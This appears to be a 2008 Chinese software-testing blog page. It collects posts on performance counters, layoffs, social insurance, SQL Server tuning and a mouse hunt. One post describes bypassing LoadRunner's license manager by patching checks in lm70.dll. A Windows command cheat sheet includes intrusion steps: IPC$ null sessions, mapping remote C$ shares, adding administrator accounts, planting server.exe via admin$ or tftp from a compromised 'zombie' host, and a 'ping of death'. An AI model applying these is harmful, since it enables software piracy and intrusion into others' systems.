    The Paging File value should match up with the previous two values. A value exceeding 70% is not healthy for the system.

    Disk

    Physical Disk\ Free Space

    Logical Disk\

    Free Space

    15%

    Clear more disk space. Increase logical or physical disk space

    Disk

    Physical Disk\ Disk Time

    Logical Disk\ Disk Time

    90%

    The disk is not being read quickly enough. This could be a hardware issue. It could also be that the amount of data on disk is too large.

    Disk

    Physical Disk\Disk Reads/sec, Physical Disk\Disk Writes/sec

    Depends on Manufacturer

    The writing the reading from the disk is slow. We may need to upgrade the disk or disk drivers

    Processor

    Processor\ % Processor Time

    85%

    Find the process intensive processes and move them to separate processors (if you have a multi-processor machine) or add more processing power (by adding another processor or by upgrading to a faster processor)

    Processor

    Processor\ Interrupts/ sec

    Processor specific; 1000 is a standard

    If the counter value increases without additional processes, the cause could be hardware related

    Server

    Server\ Bytes Total/ sec

    Depends on the network

    If all your servers’ Bytes Total/ sec is the same and similar to the maximum network speed, you might need to increase the network bandwidth

    Server

    Server\ Pool Paged Peak

    Physical RAM available

    Should not be greater than the physical RAM value.

  • 转:近期裁员、减薪的公司名单

    2008-11-21 21:19:40

    公司名称
    国家
    行业
    裁员/降薪
    直接原因
    日照钢铁 中国 钢铁
    大规模裁员
    宝钢 中国 钢铁
    全员工资将下调10%
    崇高国际 中国 玩具
    裁员6000
    合俊集团 中国 玩具
    6000多工人失业
    东方航空 中国 航空
    采取减少奖金的方式进行降薪
    南方航空 中国 航空
    下半年全体管理人员每月减薪10%
    海南航空 中国 航空
    大面积降薪,员工收入锐减3000
    联想 中国 IT
    杨元庆默认将进行大裁员
    夏新电子 中国 IT
    裁员近70%
    博客网 中国 IT
    裁员40人左右
    六间房 中国 IT
    裁员140
    悠视网 中国 IT
    裁员10%,人数大概为20
    土豆网 中国 IT
    传裁员20%
    乐途旅游网 中国 IT
    传裁员60%
    TCL电脑 中国 IT
    裁员至30余人
    PPlive 中国 IT
    传将有10%的员工离职
    康Q网 中国 IT
    裁员100余人
    高盛高华 中国 金融
    裁员接近20%的比例
    中金公司 中国 金融
    下属投行部门裁员接近3%
    中信证券 中国 金融
    部分员工薪酬最高降幅达到了20%
    摩托罗拉(中国) 美国 通讯
    中国区小规模裁员
    惠普大中华区 美国 IT
    传中华区裁员48
    利丰 中国香港 贸易
    传将裁员1000
    北电网络 美国 通讯
    全球裁员1300人,中国不可避免
    英国电信 英国 通讯
    计划全球裁员1万人,已裁员4000
    高盛 美国 金融
    全球裁员3620
    AIG 美国 金融
    裁员380
    花旗银行 美国 金融
    全球裁员3.5万
    摩根士丹利 美国 金融
    已裁员4400,再裁员2000人,并继续加大裁员规模
    新加坡星展集团 新加坡 金融
    全球裁员900
    汇丰银行 中国香港 金融
    9月份裁员1100名员,传将继续在亚太地区裁员600
    摩根大通 美国 金融
    或将裁员3000人,
    惠普 美国 IT
    全球裁员24600
    雅虎 美国 IT
    裁员3000
    昇阳(JAVA) 美国 IT
    将裁员5000至6000
    德国邮政 德国 通讯
    全球裁员4万人,多数在美国
    克莱斯勒 美国 汽车
    全球裁员5000
    通用汽车 美国 汽车
    裁员500人,并削减工人福利
    戴姆勒 美国 汽车
    全球裁员3500
    星巴克 美国 饮料
    全球裁员1.2万名专职和兼职员工
  • 金融危机来了 你感受到了么?

    2008-11-21 19:06:54

         转:一位"准失业者"写下了这样感伤的文字:"七成的公司不招新员工了,八成的人不跳槽了,2009年的毕业生加往届生总共有600多万,我是其中一个不幸者。我将第一个离开深圳,麻烦最后离开的人,把灯关掉。"

         一直以来觉得金融危机对我来说只是一个话题,对自己可能影响不大,没想到金融危机的影响就在身边。前几天妈妈从韩国打电话过来,说韩国现在经济不景气,很多企业都倒闭了,现在韩币也贬值和去年的收入由于汇率的影响收入就减少了一半,妈妈也准备从国外回来了。这点可能对岛国外务工的人经济危机意味着收入减少,可能对国内出去旅游留学的人来说是一个好消息,可以节省很大一笔开支。

          记得5月份的时候同事王威去番禺交流回来来,说那里已经有很多企业倒闭那个时候更多直接的原因是人民币汇率上升,导致很多对外制造加工企业没办法生存下去,而现在更多的企业倒闭是因为国外订单减少,下半年很多企业生产的都是上半年的订单,估计到明年年初还要有很多企业倒闭,不知道有多少人要失业。

          金融危机的影响从10月份开始逐渐显示出来,9月份和10月份企业对情势的预估跟现在完全不一样,前两周去深圳中兴交流,一位部长就表示9月份和现在他们对形势的判断是两个样子,9月份的时候觉得明年会业务增长很快,但是现在觉得明年就不明朗了,本来要做的高校招聘也由于金融危机的影响暂时停止了。因为51testing的有就业培训的业务,要保证就业,其中有一家公司本来已经给我们6个学员口头的offer,其中三个已经得到了正式的offer,另外三个一直在等着家公司总经理的批准,据说以前没有这么流程繁琐,但是他们公司刚开了一个会议由于经济危机影响所以招聘人员一定要通过总经理审批,进人要慎重。老婆所在的公司在10月份虽然获得了风投的资金投入,但由于经济危机影响预备过冬,内部员工大部分做了降薪处理。

         北京的一位作测试的朋友在msn上交流的时候告诉我最近在找工作,但是他周围的人都反馈各个公司在裁员,她自己虽然有四年多的工作经验但是随着时间推移,对薪水要求也一降再降只要5k,但是工作仍然没有找到。我通过一个朋友知道了另外一位朋友因为公司裁员离职了,现在在找工作,这位朋友2年多的工作经验薪水12k/m多,因为金融危机也从新踏上了找工作的路。

         冬天来了,你做好准备了么?不知道春天什么时候回来,应该做好过冬的准备,今天买了2本书准备加强学习,练好内功,以备不时之需。

        

  • 社保,交得越多亏得越多(转)

    2008-11-20 21:50:44

    社保不是很了解,总以为是交得越多越好,因为你交得多,公司相应就交得更多。但是最近这两天仔细研究了一下社保政策,真是有点大吃一惊,发现完全不是这么回事,从某种意义上来说,反而是交得越多越亏。

       以上海为例,社保的基数上限是前一年的平均工资的三倍,2006年为2235*3=6705元,假设你的工资为8000元,那么将以6705为基数缴纳社保。

       首先是养老保险,这个金额是最大的,个人8%,即536元,单位22%,1475元。但是请注意,单位交的一分钱都不会进入你的个人账户!全部用于社会统筹。那么到了你老了养老金怎么领取呢,这个我在网上查了一下,居然找不着一个明确的官方文件说明。比较普遍的说法是,养老保险累计缴纳15年并达到法定退休年龄后,可以按月领取养老金,养老金金额=基础养老金+个人账户养老金=退休前一年全市职工月平均工资×20%+个人账户÷120。这就相当于,除了个人账户不一样外,大家领的基础养老金都是一样的。那么显然现在交得越多是越亏的,因为个人账户其实都是你自己交的钱,你不交社保把它存银行也是一样的。但是公司替你交的那部分就完全替国家做贡献了,交的越多贡献越多。难怪很多公司都把基本工资开得很低,而提高奖金和补助,这样可以把省下来的那部分保险作为福利发给个人。而同时,你享受的养老保险待遇不会有什么差别。

      再说医疗保险,个人2%,134元,单位12%,804元。同样,只有自己交的进入个人账户,单位交的全部被统筹。医保的报销政策是:对于门诊,先由其个人帐户资金支付,帐户资金用完后由个人自负。说白了就是一分钱不给报,而且还只能去指定的医院用指定的药!对于住院,有个起付标准,好像是两千多吧,这个标准以下由个人账户支付,个人账户不足的自己掏现金,也就是这两千多还是全部你自己出。超过起付标准且低于医保最高限额的由统筹基金支付85%。这个标准同样是大家统一的,与你交得多少没关系。与养老保险一样,公司交的那部分医疗保险被国家给“劫富济贫”了,与你没有任何关系。

       其次失业保险,个人1%,单位2%,加起来200,这个真的是一点用都没有,反正你都拿不到,即使你真的失业了。

       最后是住房公积金,个人7%,单位7%,一共938,这个倒是全归你个人,不过说到底其实本来就都是自己的钱,国家没有投进任何福利。

       这样算下来,公司在8000的工资以外,还要替你交1475+804+134+469=2882元,相当于实际每个月为你付出了10882元,而你实际得到的呢?首先,扣除社保后的工资为,8000-536-134-67-469=6793元,这6793元要扣掉663元的税,到手现金是6129元。再算上你个人账户里的养老保险、医疗保险以及公司和个人交的公积金总额,你一个月的实际收入为6129+536+134+938=7737元。

       我们假设另外一种情况,还是这个公司,它每个月在你身上的预算是一样的,即同样为你付出10882元。但是它把基本工资开得很低,按上海市规定的社保基数下限(月平均工资的60%,即2235*0.6=1341元)给你发,剩余的钱以奖金和补助形式发给你。这样,公司需要交纳的社保为:295.+160.9+26.8+94=577元,你个人交纳107.2+26.8+13.4+94=242元,扣掉四金后工资还剩1099元(还没到个税的起征点)。公司可以给你发的补助为10882-1341-577=8694元,这样你的补助加上扣除社保后的工资一共为:8694+1099=9793元,这9793元扣掉所得税1263元(据我所知很多公司这种福利和补助还可以避税,姑且把这个算上吧,毕竟纳税是每个公民的义务)剩8530元,这就是你到手的现金。算上个人账户的保险和公积金,一个月实际收入为8530+107+27+198=8862元。与上面一种情况相比,公司为你付出的钱都是10882元,但是你到手的现金多了8530-6129=2338元,实际收入多了8862-7737=1125元。而你享受到的基础养老金、医保统筹金这些国家福利是一样的!


       不能不说这是一种很不公平和合理的制度,社保至少应该保证“高投入,高福利”,但是实际上反而成了交得越少,却能获得更高的利益。不知道这应该是谁的悲哀。


     

  • 破解LoadRunner:How to skip LoadRunner license manager(转)

    2008-11-06 13:55:04

    Necessary Tools

    WinDbg (Debugging Tools for Windows – Microsoft FREE utility to debug programs)

    IDA32 (Interactive Disassembler – to reverse binaries to asm source)

    Hiew32 (Hex editor – to change binaries)

    Assembler language knowledge J

    Short brief

    I’ll skip all my wrong attempts to find real initialization/license checking code block (it took almost two days to get to the right program point to start thinking on) and as usual, its was mostly done by intuition.

    After reversing lm70.dll, I get very good source file with excellent function names and some links to interesting string variables, like “Init”, “CheckRWAccess”, etc. After investigation of such string variables, I found a function which makes “current operation” logs with status flag indications, so it was a real debug output (mb developers forgot to remove). The function makes output depending on “debug switch” on/off, so set to “true” to get operations results output in file ("C:\Documents and Settings\<user>\Local Settings\Temp\lm60trc.txt”). The most interesting is – all functions return only error codes (“0” all fine or “<> 0” on error)! Going thru “CheckRWAccess” the functions, I noticed some code sequence which fills some memory block with non-logic data, but before procedure ends, that non-logic block was decoded into different license database files names (cfgamp.dlls). After that I’ve changed my PC timer for 20 days forward. When investigating “Init” function results, I set results to “0”, but LoadRunner tells me “you have last day to evaluate program”. Nice… It was due to cfgamp the license database being encoded with sub-status – “you have one day left”. Finally, determined complete solution with no time restrictions and no message boxes.

    Done with LRLauncher, but when executing LRController – it hangs on user amount – another procedure another check, so previous lookup method don`t help much.  After that I restored Temporary license to get closer look at LRController work. On user amount > 25 it shows license warning message box – excellent, lets start from MessageBoxA function. By setting breakpoint on MessageBox I get program point, where this message box called and un-winded execution until found where is condition checked “licensed max amount <= current_user_num”. It was single procedure called from lm70!Test function. After I set that procedure to return “0 (all fine)” it works with 100 users w/o problems.

     

    Note: to get more detailed brief you need to install at least IDA32 or WinDbg.

  • 发现并解决SqlServer性能问题的通用方法

    2008-11-04 17:18:42

     

    Step 1: CPU usage
    首先要通过通过了解CPU使用率来诊断SQL Server性能,
    通常是方法有两种:
    第一:你可以使用远程桌面的察看任务管理器中CPU的使用率
    第二:监控以下计数器
    Processor: % Privileged Time
    Processor: % Processor Time
    Processor: % User Time
    System: Context Switches/sec
    System: Processor Queue Length

    Step 2: Disk IO
    监控性能计算器:
    Physical Disk: % Disk Read Time
    Physical Disk: % Disk Write Time
    Physical Disk: % Idle Time
    Physical Disk: Avg Disk Bytes/Read
    Physical Disk: Avg Disk Bytes/Transfer
    Physical Disk: Avg Disk Bytes/Write
    Physical Disk: Avg Disk Queue Length
    Physical Disk: Current Disk Queue Length

    Step 3: Memory
    内存指标:
    Memory: Available Bytes
    Memory: Pages/sec
    Process: Working Set
    SQL Server: Buffer Manager: Buffer Cache Hit Ratio
    SQL Server: Buffer Manager: Total Pages
    SQL Server: Memory Manager: Total Server Memory (KB)
    SQLServer:Cache Manager - Cache Hit Ratio - _Total
    SQLServer:Cache Manager - Cache Pages - _Total
    Memory: Page Reads/sec
    Memory: Page Writes/sec
    Memory: Page Input/sec
    Memory: Page Output/sec
    Paging File: % Usage


    Step 4: Network
    网络监控:
    Network Interface: Bytes Received/sec
    Network Interface: Bytes Sent/sec
    Network Interface: Bytes Total/sec
    Network Interface: Current Bandwidth
    Network Interface: Output Queue Length

    Step 5: Transaction-level performance
    通过SQL事件探查捕捉事务运行情况。
    Sp_monitor :快照的SQL Server统计
    Sp_who :SQL Server进程快照
    Master.dbo.sysprocesses :存储SQL Server进程有关的信息的系统表
    DBCC OPENTRAN
    DBCC INPUTBUFFER

  • 捕鼠记

    2008-10-20 23:09:07

     

            2008年10月19日晚10许  深圳岗厦居民小区一住宅楼7楼  pcl老婆在家里客厅发现一只老鼠穿堂而过,全家哗然,二人惶恐不安,彻夜不眠  (佩服老鼠之高超绝技7楼也可登堂入室)

            2008年10月20日中午12点46分 深圳51testing华强北培训中心办公室 pcl请教高人-深圳公司捕鼠专家,曾经小时候抓过老鼠,吃过老鼠肉,老鼠听见就跑,见到就腿软得-小张(深圳51testing财务大臣),指点迷经,告知晚上搞定

            2008年10月20日晚20点36分,公司小盛归来,手拿多种捕鼠利器------老鼠胶,老鼠夹等,老婆和小盛经过仔细分析战略地形,部署阵地,在家中关键角落放置以上利器

            2008年10月20日晚22点24分,只听小盛高声呼叫”老鼠“,只看到一长约20厘米,腰围10厘米的老鼠在屋中客厅横躺在老鼠胶之上,翻滚腾越,小盛艺高人胆大拿起苕梳拍打,怕老鼠夺路逃跑,我用老鼠贴从上覆盖双面胶上老鼠,老鼠吱吱之叫,找盆覆盖,拿起老鼠胶放置兜子中,寻地扔掷。。。。。。。。。。。。

            2008年10月20日晚10点45分,我双手高举大袋,内中放置老鼠,空中响彻老鼠之嚎叫,我奔之楼下扔小区之垃圾桶中。。。。。。。。。。。。。。。

           2008年10月20日晚10点52分,急跑回7楼家中,发现汗流夹背,后怕不已。。。。。。。。

           不知今夜是否还有老鼠出没。。。。。。。。。。。。。。。。。。

            

           

           

  • 运行命令大全 (转)

    2008-10-19 21:12:32

    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构(WMI)
    wupdmgr--------windows更新程序
    wscrīpt--------windows脚本宿主设置
    write----------写字板
    winmsd---------系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天
    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令
    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事本
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕“讲述人”
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口
    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护
    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器
    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器
    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------^^整理
    ciadv.msc------索引服务程序
    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带
    Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器
    utilman--------辅助工具管理器
    gpedit.msc-----组策略
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
    rundll32.exe shell32.dll,Control_RunDLL
    access.cpl,,1--------显示辅助功能选项
    rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1--打开系统属性
    rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1---删除或添加程序
    rundll32.exe syncui.dll,Briefcase_Create----桌面上建立公文包
    rundll32.exe diskcopy.dll,DiskCopyRunDll----复制软盘驱动器
    rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0--显示时间属性
    rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0----显示桌面墙纸属性
    rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0-----游戏控制器
    rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0---音频属性
    cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序 calc-----------启动计算器
    charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器 conf-----------启动netmeeting
    compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
    ciadv.msc------索引服务程序 osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组 logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名 开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time \\目标ip 查看对方时间
    net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

    #2 二:

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

    #3 三:

    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况

    #4 四:

    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
